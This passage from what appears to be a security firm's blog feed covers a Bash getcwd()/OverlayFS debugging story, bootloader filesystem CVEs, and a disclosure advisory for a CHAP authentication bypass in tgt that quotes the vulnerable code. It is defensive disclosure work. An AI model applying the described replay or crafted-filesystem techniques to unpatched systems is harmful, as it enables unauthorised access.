The wrapper mainly handles buffer allocation and falls back to a generic implementation if the system call fails.</p>
<p>To test this theory, we enabled system call tracing.
Surprisingly, the trace revealed that the <code>getcwd()</code> system call never got called.
Since glibc offers multiple <code>getcwd()</code> implementations depending on the system, we double-checked that we had reviewed the correct Linux-specific one.
We found no code path that bypassed the system call.</p>
<h2 id="bashs-home-made-getcwd">Bash&rsquo;s home made <code>getcwd()</code></h2>
<p>A hunch led us to check how Bash links to the <code>getcwd</code> symbol:</p>
<pre tabindex="0"><code class="language-terminal" data-lang="terminal">$ nm -D bash | grep getcwd
...
000c7b10 T getcwd
...
</code></pre><p>This showed that Bash includes its own <code>getcwd()</code> function rather than relying on glibc&rsquo;s version.
We expected this output instead:</p>
<pre tabindex="0"><code class="language-terminal" data-lang="terminal">$ nm -D bash | grep getcwd
...
         U getcwd
...
</code></pre><p>Surprised, we inspected the Bash source and confirmed it does contain a <code>getcwd()</code> implementation, but guarded by the following:</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-c" data-lang="c"><span class="line"><span class="cl"><span class="cp">#if !defined (HAVE_GETCWD)
</span></span></span></code></pre></div><p>Developers originally intended this fallback for ancient Unix systems lacking the <code>getcwd()</code> system call.
On Linux, <code>HAVE_GETCWD</code> should normally be defined.</p>
<p>We confirmed in <code>config.h</code>:</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-c" data-lang="c"><span class="line"><span class="cl"><span class="cp">#define HAVE_GETCWD 1
</span></span></span></code></pre></div><p>At first, this puzzled us because under normal conditions, the implementation should never compile.
But further inspection of <code>config-bot.h</code> showed this logic:</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-c" data-lang="c"><span class="line"><span class="cl"><span class="cp">#if defined (HAVE_GETCWD) &amp;&amp; defined (GETCWD_BROKEN) &amp;&amp; !defined (SOLARIS)
</span></span></span><span class="line"><span class="cl"><span class="cp">#  undef HAVE_GETCWD
</span></span></span><span class="line"><span class="cl"><span class="cp">#endif
</span></span></span></code></pre></div><p>Sure enough, our <code>config.h</code> defined <code>GETCWD_BROKEN</code>.
That explained why Bash used its internal fallback.
But why did the system consider <code>getcwd()</code> broken?</p>
<h2 id="cross-compilation-confusion">Cross-Compilation Confusion</h2>
<p>We examined the output of the <code>configure</code> script in detail to trace the origin of <code>GETCWD_BROKEN</code>.
We found this line:</p>
<pre tabindex="0"><code>checking if getcwd() will dynamically allocate memory with 0 size... \
configure: WARNING: cannot check whether getcwd allocates memory when cross-compiling \
-- defaulting to no
</code></pre><p>The check in <code>aclocal.m4</code> sets <code>GETCWD_BROKEN</code> if it can&rsquo;t confirm that <code>getcwd()</code> allocates memory with a zero-size buffer.
Since the build occurred in a cross-compilation environment, the test defaulted to failure.</p>
<p>We discovered that Bash becomes problematic in cross-compilation environments.
Since Bash is cross-compiled for ARM in this specific setup, this made sense.
We then wondered why this issue wasn&rsquo;t more widespread.
After all, both Bash and OverlayFS are common in embedded systems.</p>
<p>Next, we looked into how major embedded Linux projects like Yocto handle cross-compiling Bash.
Although the Bash Yocto recipe didn&rsquo;t mention <code>getcwd</code>, we found this line in <code>meta/site/common-glibc</code>:</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-sh" data-lang="sh"><span class="line"><span class="cl"><span class="nv">bash_cv_getcwd_malloc</span><span class="o">=</span><span class="si">${</span><span class="nv">bash_cv_getcwd_malloc</span><span class="p">=yes</span><span class="si">}</span>
</span></span></code></pre></div><p>Yocto explicitly overrides the test result to avoid the fallback.
The embedded Linux build system we used didn&rsquo;t apply such a workaround.
This clarified the issue.
After we implemented a similar override, the issue vanished.</p>
<h2 id="root-cause-analysis">Root Cause Analysis</h2>
<p>At this point, we had identified and fixed the bug.
But several questions remained:</p>
<ul>
<li>Why did the issue appear only with OverlayFS?</li>
<li>Why did Bash&rsquo;s fallback <code>getcwd()</code> fail?</li>
</ul>
<p>During testing, we observed another error message:</p>
<pre tabindex="0"><code>shell-init: error retrieving current directory: \
getcwd: cannot access parent directories: Success
</code></pre><p>This indicated that <code>errno</code> was sometimes set to <code>0</code>, suggesting no error occurred, yet <code>getcwd()</code> still failed.</p>
<h2 id="overlayfs-and-inode-numbers">OverlayFS and Inode Numbers</h2>
<p>To answer the remaining questions, we analyzed Bash&rsquo;s <code>getcwd()</code> implementation.
On Linux, you can determine the current working directory in two ways:</p>
<ul>
<li>Use the <code>getcwd()</code> system call</li>
<li>Read the <code>/proc/self/cwd</code> symlink</li>
</ul>
<p>Bash&rsquo;s implementation used neither, aiming to support systems lacking these features.
In fact, the fallback dates back to the last millennium.
It used a classic Unix algorithm to reconstruct the working directory path:</p>
<ul>
<li>It calls <code>stat(&quot;.&quot;)</code> to obtain the inode number of the current directory.</li>
<li>It calls <code>readdir(&quot;..&quot;)</code> to read the parent directory&rsquo;s entries.</li>
<li>It compares inode numbers to identify <code>&quot;.&quot;</code>&rsquo;s name.</li>
</ul>
<p>It repeats this process recursively to climb the full path.</p>
<p>Note that this simplified description omits many details.
In practice, you must evaluate both inode (<code>st_ino</code>) and device (<code>st_dev</code>) to work across mount points.</p>
<p>Tracing revealed that the fallback <code>getcwd()</code> failed on the very first path component.
<code>stat(&quot;.&quot;)</code><sup id="fnref:4"><a href="#fn:4" class="footnote-ref" role="doc-noteref">4</a></sup> returned an inode number <code>N</code>, but <code>readdir(&quot;..&quot;)</code><sup id="fnref:5"><a href="#fn:5" class="footnote-ref" role="doc-noteref">5</a></sup> returned no matching directory with inode number <code>N</code>.</p>
<p>OverlayFS merges two directories, a lower (read-only) and an upper (writable) layer.
When calling <code>readdir()</code> on a directory, OverlayFS combines entries from both layers without performing full lookups.
It returns the underlying inode numbers directly, unmodified.</p>
<p>This design means that inode numbers from <code>readdir()</code> don&rsquo;t guarantee uniqueness or stability in the merged view.
Two entries might even share an inode number without being hard links.
OverlayFS uses this approach to provide fast directory listings, performing a full lookup for each entry would incur performance penalties.</p>
<p>Conversely, <code>stat()</code> triggers a full lookup.
OverlayFS allocates an inode object that provides stable and unique inode numbers.
That stability is crucial for tools like <code>find</code> or <code>du</code>.</p>
<p>Bash&rsquo;s fallback <code>getcwd()</code> assumes that the inode from <code>stat()</code> matches one returned by <code>readdir()</code>.
OverlayFS breaks that assumption.</p>
<p>We eventually realized that <a href="https://docs.kernel.org/filesystems/overlayfs.html#inode-properties">OverlayFS documentation</a> acknowledges this limitation:
For directories, the inode number from <code>readdir()</code> may not match the number from <code>stat()</code>.</p>
<h2 id="the-role-of-the-xino-feature">The Role of the xino Feature</h2>
<p>OverlayFS can deliver stable inode numbers via <code>readdir()</code> when the <code>xino</code> feature is active.
64-bit systems can encode extra data (e.g., instance numbers) into inode fields to prevent collisions.
This works without requiring a full lookup and does not hurt <code>readdir()</code> performance.</p>
<p>However, 32-bit systems lack this space and the <code>xino</code> feature it not available.
We encountered the original problem on a 32-bit ARM platform, which explained why the issue occurred there.</p>
<h2 id="incorrect-use-of-readdir-in-bash">Incorrect Use of <code>readdir()</code> in Bash</h2>
<p>One question remained: why did <code>getcwd()</code> sometimes fail with <code>ENOTTY</code>?</p>
<p>Upon inspecting Bash&rsquo;s <code>getcwd()</code>, we noticed it misused <code>readdir()</code> slightly:</p>
<ul>
<li><code>readdir()</code> returns <code>NULL</code> both on EOF and on error.</li>
<li>To distinguish between an error condition and the end of the directory list, the caller must set <code>errno</code> to zero before calling <code>readdir()</code>.</li>
<li>If <code>readdir()</code> returns <code>NULL</code> and <code>errno == 0</code>, it means EOF.</li>
<li>Bash forgot to reset <code>errno</code> before the call. For about 30 years, no one noticed.</li>
</ul>
<p>As a result, when <code>readdir()</code> returned <code>NULL</code> with no match, Bash incorrectly assumed an error.
It returned <code>NULL</code> and left <code>errno</code> in an undefined state.
Sometimes, <code>ENOTTY</code> from a previous system call remained, producing misleading errors.</p>
<p>We have <a href="https://lists.gnu.org/archive/html/bug-bash/2025-06/msg00149.html">reported</a> the issue to the GNU Bash project.</p>
<h2 id="conclusion">Conclusion</h2>
<p>This bug hunt revealed several contributing factors:</p>
<ul>
<li>A misconfigured cross-compilation environment caused Bash to use its fallback <code>getcwd()</code>.</li>
<li>OverlayFS introduced subtle inode behavior differences, especially on 32-bit systems.</li>
<li>Bash&rsquo;s fallback <code>getcwd()</code> relied on assumptions that failed with OverlayFS.</li>
<li>A decades-old oversight in Bash&rsquo;s error handling created misleading <code>errno</code> values.</li>
</ul>
<p>While we resolved the issue with a simple build tweak, the investigation highlighted deeper lessons about portability assumptions, legacy code, and filesystem complexity.</p>
<div class="footnotes" role="doc-endnotes">
<hr>
<ol>
<li id="fn:1">
<p><a href="https://man7.org/linux/man-pages/man2/getcwd.2.html">getcwd(2) Linux manual page</a>&#160;<a href="#fnref:1" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p>
</li>
<li id="fn:2">
<p><a href="https://docs.kernel.org/filesystems/overlayfs.html">OverlayFS Kernel Docs</a>&#160;<a href="#fnref:2" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p>
</li>
<li id="fn:3">
<p><a href="https://man.openbsd.org/scp">scp(1) manual page</a>&#160;<a href="#fnref:3" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p>
</li>
<li id="fn:4">
<p><a href="https://man7.org/linux/man-pages/man2/stat.2.html">stat(2) Linux manual page</a>&#160;<a href="#fnref:4" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p>
</li>
<li id="fn:5">
<p><a href="https://man7.org/linux/man-pages/man3/readdir.3.html">readdir(3) Linux manual page</a>&#160;<a href="#fnref:5" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p>
</li>
</ol>
</div>
]]></content:encoded></item><item><title>Filesystem Vulnerabilities in Bootloaders: A Hidden Risk for Verified Boot Mechanisms</title><link>https://sigma-star.at/blog/2025/01/filesystem-vulnerabilities-in-bootloaders-a-hidden-risk-for-verified-boot-mechanisms/</link><pubDate>Mon, 27 Jan 2025 00:00:00 +0100</pubDate><author>Richard Weinberger</author><guid>https://sigma-star.at/blog/2025/01/filesystem-vulnerabilities-in-bootloaders-a-hidden-risk-for-verified-boot-mechanisms/</guid><description>&lt;h1 id="filesystem-vulnerabilities-in-bootloaders-a-hidden-risk-for-verified-boot-mechanisms">Filesystem Vulnerabilities in Bootloaders: A Hidden Risk for Verified Boot Mechanisms&lt;/h1>
&lt;p>In modern IoT systems, particularly those using Linux-embedded devices, ensuring the integrity and trustworthiness of the boot process has become increasingly critical.
Verified boot mechanisms, often referred to as trusted or secure boot, serve as the cornerstone of device security by guaranteeing that only signed and authenticated code is executed during the boot process.
This mechanism is vital for protecting sensitive functions such as data encryption, authentication, and the overall integrity of IoT devices.&lt;/p></description><content:encoded><![CDATA[<h1 id="filesystem-vulnerabilities-in-bootloaders-a-hidden-risk-for-verified-boot-mechanisms">Filesystem Vulnerabilities in Bootloaders: A Hidden Risk for Verified Boot Mechanisms</h1>
<p>In modern IoT systems, particularly those using Linux-embedded devices, ensuring the integrity and trustworthiness of the boot process has become increasingly critical.
Verified boot mechanisms, often referred to as trusted or secure boot, serve as the cornerstone of device security by guaranteeing that only signed and authenticated code is executed during the boot process.
This mechanism is vital for protecting sensitive functions such as data encryption, authentication, and the overall integrity of IoT devices.</p>
<p><em>It&rsquo;s important to recognize that if your IoT system does not implement verified boot, the identified vulnerabilities may not pose a direct risk.
In such cases, attackers can manipulate persistent program code at any time, rendering those specific vulnerabilities irrelevant.</em></p>
<h2 id="introduction">Introduction</h2>
<p>The verified boot process ensures that each stage of the system&rsquo;s boot sequence is authenticated and trusted. At a high level, the process involves the following steps:</p>
<ol>
<li><strong>Boot ROM Validation</strong>: The system-on-chip (SoC)&rsquo;s boot ROM initiates the boot process by loading a signed bootloader, establishing the first layer of trust.</li>
<li><strong>Bootloader Verification</strong>: The bootloader, commonly U-Boot or Barebox, loads critical components such as the Linux kernel, device tree, and initramfs from the filesystem, verifying their signatures to ensure authenticity.</li>
<li><strong>Linux Execution</strong>: Once the verified kernel is booted, the system executes the application code. The Linux kernel continues enforcing security by authenticating files loaded from the filesystem.</li>
</ol>
<p>This sequence forms a chain of trust, where each stage verifies the integrity of the next. If any part of this chain is compromised, attackers could gain the ability to execute arbitrary code, extract sensitive data, or impersonate the device. Such vulnerabilities pose significant risks, as they allow adversaries to install malicious code on the device whenever sufficient access is obtained.</p>
<h3 id="critical-code-paths">Critical Code Paths</h3>
<p>Every step in the chain of trust involves processing and validating potentially malicious input. For instance, the boot ROM often parses a SoC vendor-specific data structure containing the bootloader and its signature.
A vulnerability in this code path could allow attackers to bypass the chain of trust and execute arbitrary code.
Such vulnerabilities have been identified in the boot ROM of certain <a href="https://blog.quarkslab.com/vulnerabilities-in-high-assurance-boot-of-nxp-imx-microprocessors.html"><strong>NXP SoCs</strong></a>.</p>
<p>Another well-known critical point is the bootloader. Depending on the bootloader and operating system, essential files like the kernel or configuration files must be parsed and verified.
An example of a vulnerability in this area is the infamous <a href="https://eclypsium.com/blog/theres-a-hole-in-the-boot/"><strong>BootHole</strong></a> flaw in the GRUB2 bootloader, which exposed systems to significant security risks.</p>
<h2 id="filesystem-vulnerabilities-in-bootloaders-a-hidden-risk">Filesystem Vulnerabilities in Bootloaders: A Hidden Risk</h2>
<p>Bootloaders such as <strong>U-Boot</strong> and <strong>Barebox</strong> are widely used in IoT systems because of their maturity, rich feature sets, and strong community support.
Both bootloaders incorporate robust mechanisms for verified boot, enabling them to authenticate the files they load, including the kernel and configuration files.</p>
<p>However, an initial audit of their verified boot implementations has revealed a frequently overlooked vulnerability: the filesystem implementation itself.</p>
<h3 id="filesystems-as-a-threat-vector">Filesystems as a Threat Vector</h3>
<p>Most bootloaders support a variety of filesystems, such as ext4, FAT, SquashFS, and UBIFS.
However, these implementations are often ad hoc and lack key features.
This is primarily because bootloaders operate in highly constrained environments, with no support for concurrency and access to minimal resources.
As a result, complete filesystem implementations are unnecessary for bootloaders; they only need to be functional enough to read files from a filesystem, nothing more.</p>
<p>A key task of a filesystem implementation is to parse the filesystem data structures stored on a storage medium, interpret them meaningfully, and present the logical files to higher layers.
In a verified boot setup using bootloaders like U-Boot or Barebox, while the contents of files are authenticated, the filesystem data structures themselves are typically not.
This opens an attack vector where an attacker could craft malicious filesystem structures that bypass authentication checks and exploit bugs in the filesystem driver implementation.
By corrupting filesystem metadata, attackers can compromise the chain of trust, enabling arbitrary code execution or further exploitation.</p>
<p>We have identified the following vulnerabilities that are directly or indirectly associated with filesystem implementations in the Barebox and U-Boot bootloaders:</p>
<ul>
<li><a href="https://www.cve.org/CVERecord?id=CVE-2024-57254"><strong>CVE-2024-57254</strong></a>: Integer overflow in U-Boot&rsquo;s SquashFS symlink size calculation function</li>
<li><a href="https://www.cve.org/CVERecord?id=CVE-2024-57255"><strong>CVE-2024-57255</strong></a>: Integer overflow in U-Boot&rsquo;s SquashFS symlink resolution function</li>
<li><a href="https://www.cve.org/CVERecord?id=CVE-2024-57256"><strong>CVE-2024-57256</strong></a>: Integer overflow in U-Boot&rsquo;s ext4 symlink resolution function</li>
<li><a href="https://www.cve.org/CVERecord?id=CVE-2024-57257"><strong>CVE-2024-57257</strong></a>: Stack overflow in U-Boot&rsquo;s SquashFS symlink resolution function</li>
<li><a href="https://www.cve.org/CVERecord?id=CVE-2024-57258"><strong>CVE-2024-57258</strong></a>: Multiple integer overflows in U-Boot&rsquo;s memory allocator</li>
<li><a href="https://www.cve.org/CVERecord?id=CVE-2024-57259"><strong>CVE-2024-57259</strong></a>: Heap corruption in U-Boot&rsquo;s SquashFS directory listing function</li>
<li><a href="https://www.cve.org/CVERecord?id=CVE-2024-57260"><strong>CVE-2024-57260</strong></a>: Multiple vulnerabilities in Barebox&rsquo;s SquashFS due to missing patches from Linux</li>
<li><a href="https://www.cve.org/CVERecord?id=CVE-2024-57261"><strong>CVE-2024-57261</strong></a>: Integer overflow in Barebox&rsquo;s memory allocator</li>
<li><a href="https://www.cve.org/CVERecord?id=CVE-2024-57262"><strong>CVE-2024-57262</strong></a>: Integer overflow in Barebox&rsquo;s SquashFS symlink resolution function</li>
</ul>
<p>As of this writing, all identified issues have been resolved in Barebox version v2025.01.0 and U-Boot version v2025.01-rc1.</p>
<p>The vulnerabilities allow an attacker with access to the storage medium to modify filesystem structures in a manner that enables the execution of untrusted code.
CVE-2024-57256, in particular, is a significant target, as it provides an attacker with essentially unrestricted access to U-Boot&rsquo;s memory.
Some might question the relevance of CVE-2024-57257 and CVE-2024-57258 in this attack scenario.
Both Barebox and U-Boot allocate buffers to store filesystem data, with the buffer sizes determined by the size attributes of the filesystem structures.
Since attackers can manipulate these size attributes, they can trigger integer overflows in the memory allocators.
This leads to buffer overflows when the allocators allocate less memory than required for the copied data.</p>
<h3 id="impact-of-these-vulnerabilities">Impact of These Vulnerabilities</h3>
<p>The impact of these vulnerabilities varies depending on your threat model, ranging from <em>none</em> to <em>critical</em>.
If you are not using any verified boot technology, these vulnerabilities are unlikely to pose a security issue for you.
However, if the integrity of your product relies on verified boot mechanisms, an attacker could potentially exploit these vulnerabilities to compromise the chain of trust.</p>
<h3 id="the-situation-on-linux">The Situation on Linux</h3>
<p>One might wonder about the situation on Linux. A filesystem implementation bug in Linux would, of course, also be problematic. However, the situation on Linux is generally better for two key reasons:</p>
<ul>
<li>Better Testing: Filesystems in Linux undergo more rigorous testing, including regular fuzz testing, which helps uncover and fix potential bugs. <a href="https://lwn.net/Articles/685182"><strong>AFL fuzz testing</strong></a> uncoverered many bugs in Linux.</li>
<li>Enhanced Protection: In a verified boot setup, filesystems used by the Linux kernel are typically protected by mechanisms like <strong>dm-verity</strong> or <strong>dm-integrity</strong>. These provide full filesystem integrity in addition to encryption. As a result, a crafted filesystem would be detected early at the block layer, mitigating the risk of exploitation.</li>
</ul>
<h2 id="conclusion">Conclusion</h2>
<p>As IoT systems continue to proliferate, ensuring the integrity of the verified boot process becomes increasingly critical.
Filesystems, often overlooked in the chain of trust, can represent a significant vulnerability in bootloader security.
We hope that filesystem implementations in bootloaders receive more thorough testing in the future to enhance their robustness and reliability.</p>
]]></content:encoded></item><item><title>sigma-star-sa-2024-001: CHAP authentication bypass in user-space Linux target framework (tgt) up to v1.0.92 (CVE-2024-45751)</title><link>https://sigma-star.at/blog/2024/09/sigma-star-sa-2024-001/</link><pubDate>Sat, 07 Sep 2024 00:00:00 +0200</pubDate><author>Richard Weinberger</author><author>David Gstir</author><guid>https://sigma-star.at/blog/2024/09/sigma-star-sa-2024-001/</guid><description><![CDATA[<h1 id="sigma-star-sa-2024-001-chap-authentication-bypass-in-user-space-linux-target-framework-tgt-up-to-v1092-cve-2024-45751">sigma-star-sa-2024-001: CHAP authentication bypass in user-space Linux target framework (tgt) up to v1.0.92 (CVE-2024-45751)</h1>
<h2 id="summary">Summary</h2>
<p>The user-space iSCSI target daemon of the Linux target framework (tgt)  uses an insecure
random number generator to generate CHAP authentication callenges. This results in
predictable challenges which an attacker capable of recording network traffic between
iSCSI target and initiator can abuse to bypass CHAP authentication by replaying
previous responses.</p>
<ul>
<li><em>Identifier:</em>                   sigma-star-sa-2024-001</li>
<li><em>Type of vulnerability (CWE):</em>  Use of cryptographically weak pseud-random
number generator (<a href="https://cwe.mitre.org/data/definitions/338.html">CWE-338</a>)</li>
<li><em>Vendor:</em>                       -</li>
<li><em>Product/Software:</em>             <a href="https://github.com/fujita/tgt">The Linux target framework (tgt)</a></li>
<li><em>Affected versions:</em>            &lt;= 1.0.92</li>
<li><em>Fixed versions:</em>               1.0.93</li>
<li><em>CVE ID:</em>                       CVE-2024-45751</li>
</ul>
<h2 id="affected-product-and-vendor">Affected Product and Vendor</h2>
<blockquote>
<p>The Linux target framework (tgt) is a user space SCSI target framework that
supports the iSCSI and iSER transport protocols and that supports multiple
methods for accessing block storage. Tgt consists of user-space daemon and tools.</p>]]></description><content:encoded><![CDATA[<h1 id="sigma-star-sa-2024-001-chap-authentication-bypass-in-user-space-linux-target-framework-tgt-up-to-v1092-cve-2024-45751">sigma-star-sa-2024-001: CHAP authentication bypass in user-space Linux target framework (tgt) up to v1.0.92 (CVE-2024-45751)</h1>
<h2 id="summary">Summary</h2>
<p>The user-space iSCSI target daemon of the Linux target framework (tgt)  uses an insecure
random number generator to generate CHAP authentication callenges. This results in
predictable challenges which an attacker capable of recording network traffic between
iSCSI target and initiator can abuse to bypass CHAP authentication by replaying
previous responses.</p>
<ul>
<li><em>Identifier:</em>                   sigma-star-sa-2024-001</li>
<li><em>Type of vulnerability (CWE):</em>  Use of cryptographically weak pseud-random
number generator (<a href="https://cwe.mitre.org/data/definitions/338.html">CWE-338</a>)</li>
<li><em>Vendor:</em>                       -</li>
<li><em>Product/Software:</em>             <a href="https://github.com/fujita/tgt">The Linux target framework (tgt)</a></li>
<li><em>Affected versions:</em>            &lt;= 1.0.92</li>
<li><em>Fixed versions:</em>               1.0.93</li>
<li><em>CVE ID:</em>                       CVE-2024-45751</li>
</ul>
<h2 id="affected-product-and-vendor">Affected Product and Vendor</h2>
<blockquote>
<p>The Linux target framework (tgt) is a user space SCSI target framework that
supports the iSCSI and iSER transport protocols and that supports multiple
methods for accessing block storage. Tgt consists of user-space daemon and tools.</p>
</blockquote>
<p>Source: <a href="https://github.com/fujita/tgt/blob/e393a80b02b8cb90709c75f9bd91542ea3a78d58/README.md">https://github.com/fujita/tgt/blob/e393a80b02b8cb90709c75f9bd91542ea3a78d58/README.md</a></p>
<h2 id="description">Description</h2>
<p><code>tgt</code> supports CHAP for authenticating initiators. As defined in the <a href="https://datatracker.ietf.org/doc/html/rfc1994#section-2">CHAP specification</a>
the target generates a random challenge and sends it to the initiator. <code>tgt</code> fails
to use a cryptographically secure random number generator for this. Instead it
simply uses the <a href="https://man7.org/linux/man-pages/man3/srand.3.html"><code>rand()</code></a> call without
setting a seed using <code>srand()</code> first. Thus the default seed (equivalent to <code>srand(1)</code>) will be used.
This results in a predictable sequence of numbers being returned by subsequent
calls to <code>rand()</code>.</p>
<p>Note that even though <code>tgt</code> generates a random length for each challenge,
this does not affect the predictability of challenges as these lengths will
also be generated using predictable output of <code>rand()</code>.</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-c" data-lang="c"><span class="line"><span class="cl"><span class="k">static</span> <span class="kt">int</span> <span class="nf">chap_initiator_auth_create_challenge</span><span class="p">(</span><span class="k">struct</span> <span class="n">iscsi_connection</span> <span class="o">*</span><span class="n">conn</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="p">{</span>
</span></span><span class="line"><span class="cl">	<span class="kt">char</span> <span class="o">*</span><span class="n">value</span><span class="p">,</span> <span class="o">*</span><span class="n">p</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">	<span class="kt">char</span> <span class="n">text</span><span class="p">[</span><span class="n">CHAP_CHALLENGE_MAX</span> <span class="o">*</span> <span class="mi">2</span> <span class="o">+</span> <span class="mi">8</span><span class="p">];</span>
</span></span><span class="line"><span class="cl">	<span class="k">static</span> <span class="kt">int</span> <span class="n">chap_id</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">	<span class="kt">int</span> <span class="n">i</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">	<span class="p">[...]</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">	<span class="cm">/*
</span></span></span><span class="line"><span class="cl"><span class="cm">	 * FIXME: does a random challenge length provide any benefits security-
</span></span></span><span class="line"><span class="cl"><span class="cm">	 * wise, or should we rather always use the max. allowed length of
</span></span></span><span class="line"><span class="cl"><span class="cm">	 * 1024 for the (unencoded) challenge?
</span></span></span><span class="line"><span class="cl"><span class="cm">	 */</span>
</span></span><span class="line"><span class="cl">	<span class="n">conn</span><span class="o">-&gt;</span><span class="n">auth</span><span class="p">.</span><span class="n">chap</span><span class="p">.</span><span class="n">challenge_size</span> <span class="o">=</span> <span class="p">(</span><span class="nf">rand</span><span class="p">()</span> <span class="o">%</span> <span class="p">(</span><span class="n">CHAP_CHALLENGE_MAX</span> <span class="o">/</span> <span class="mi">2</span><span class="p">))</span> <span class="o">+</span> <span class="n">CHAP_CHALLENGE_MAX</span> <span class="o">/</span> <span class="mi">2</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">	<span class="n">conn</span><span class="o">-&gt;</span><span class="n">auth</span><span class="p">.</span><span class="n">chap</span><span class="p">.</span><span class="n">challenge</span> <span class="o">=</span> <span class="nf">malloc</span><span class="p">(</span><span class="n">conn</span><span class="o">-&gt;</span><span class="n">auth</span><span class="p">.</span><span class="n">chap</span><span class="p">.</span><span class="n">challenge_size</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">	<span class="k">if</span> <span class="p">(</span><span class="o">!</span><span class="n">conn</span><span class="o">-&gt;</span><span class="n">auth</span><span class="p">.</span><span class="n">chap</span><span class="p">.</span><span class="n">challenge</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">		<span class="k">return</span> <span class="n">CHAP_TARGET_ERROR</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">	<span class="n">p</span> <span class="o">=</span> <span class="n">text</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">	<span class="nf">strcpy</span><span class="p">(</span><span class="n">p</span><span class="p">,</span> <span class="s">&#34;0x&#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">	<span class="n">p</span> <span class="o">+=</span> <span class="mi">2</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">	<span class="k">for</span> <span class="p">(</span><span class="n">i</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> <span class="n">i</span> <span class="o">&lt;</span> <span class="n">conn</span><span class="o">-&gt;</span><span class="n">auth</span><span class="p">.</span><span class="n">chap</span><span class="p">.</span><span class="n">challenge_size</span><span class="p">;</span> <span class="n">i</span><span class="o">++</span><span class="p">)</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">		<span class="n">conn</span><span class="o">-&gt;</span><span class="n">auth</span><span class="p">.</span><span class="n">chap</span><span class="p">.</span><span class="n">challenge</span><span class="p">[</span><span class="n">i</span><span class="p">]</span> <span class="o">=</span> <span class="nf">rand</span><span class="p">();</span>
</span></span><span class="line"><span class="cl">		<span class="nf">sprintf</span><span class="p">(</span><span class="n">p</span><span class="p">,</span> <span class="s">&#34;%.2hhx&#34;</span><span class="p">,</span> <span class="n">conn</span><span class="o">-&gt;</span><span class="n">auth</span><span class="p">.</span><span class="n">chap</span><span class="p">.</span><span class="n">challenge</span><span class="p">[</span><span class="n">i</span><span class="p">]);</span>
</span></span><span class="line"><span class="cl">		<span class="n">p</span> <span class="o">+=</span> <span class="mi">2</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">	<span class="p">}</span>
</span></span><span class="line"><span class="cl">	<span class="nf">text_key_add</span><span class="p">(</span><span class="n">conn</span><span class="p">,</span> <span class="s">&#34;CHAP_C&#34;</span><span class="p">,</span>  <span class="n">text</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">	<span class="k">return</span> <span class="mi">0</span><span class="p">;</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span></code></pre></div><p>Source: <a href="https://github.com/fujita/tgt/blob/v1.0.92/usr/iscsi/chap.c#L333">https://github.com/fujita/tgt/blob/v1.0.92/usr/iscsi/chap.c#L333</a></p>
<h2 id="impact">Impact</h2>
<p>An attacker who is able to recording network traffic between iSCSI target
and initiator can apply a replay attack to bypass the CHAP authentication.
All the attacker has to do is wait for the server or the service to restart
and replay with a previously record CHAP session which fits into the sequence.</p>
<p>Having bypassed CHAP authentication, an attacker has full user privileges and
can modify the iSCSI target at will within that user privileges.</p>
<h2 id="mitigation">Mitigation</h2>
<p>We recommend replacing the pseudo-random number generator (<code>rand()</code>)  with
<code>getrandom()</code>as this will yield cryptographically secure pseudo-random numbers
fitting for CHAP challenges.</p>
<p>Version 1.0.93 contains this fix.</p>
<h2 id="patches">Patches</h2>
<ul>
<li><a href="https://github.com/fujita/tgt/pull/67/commits/abd8e0d987ab56013d360077202bf2aca20a42dd">https://github.com/fujita/tgt/pull/67/commits/abd8e0d987ab56013d360077202bf2aca20a42dd</a> (chap: Use proper entropy source)</li>
</ul>
<h2 id="disclosure-timeline">Disclosure Timeline</h2>
<ul>
<li>2024-09-03: Vulnerability disclosed to vendor</li>
<li>2024-09-04: Vendor requested full disclosure</li>
<li>2024-09-04: Patch submitted to vendor and version 1.0.93 released by vendor</li>
<li>2024-09-07: Advisory published</li>
</ul>
<h2 id="credits">Credits</h2>
<ul>
<li>Richard Weinberger (<a href="https://sigma-star.at">sigma star gmbh)</a></li>
<li>David Gstir (<a href="https://sigma-star.at">sigma star gmbh)</a></li>
</ul>
]]></content:encoded></item><item><title>Thoughts on Linux CNA's Approach and the Resulting CVE Flood</title><link>https://sigma-star.at/blog/2024/03/linux-kernel-cna/</link><pubDate>Wed, 13 Mar 2024 00:00:00 +0100</pubDate><author>Richard Weinberger</author><guid>https://sigma-star.at/blog/2024/03/linux-kernel-cna/</guid><description><![CDATA[<h1 id="thoughts-on-linux-cnas-approach-and-the-resulting-cve-flood">Thoughts on Linux CNA&rsquo;s Approach and the Resulting CVE Flood</h1>
<p>Recently, the Linux Kernel Project attained the status of a CNA<sup id="fnref:1"><a href="#fn:1" class="footnote-ref" role="doc-noteref">1</a></sup> (CVE Numbering Authority), granting it the capability to independently issue CVEs (Common Vulnerabilities and Exposures).
While this development may seem unremarkable, the substantial increase in the number of newly assigned CVEs raises many questions.
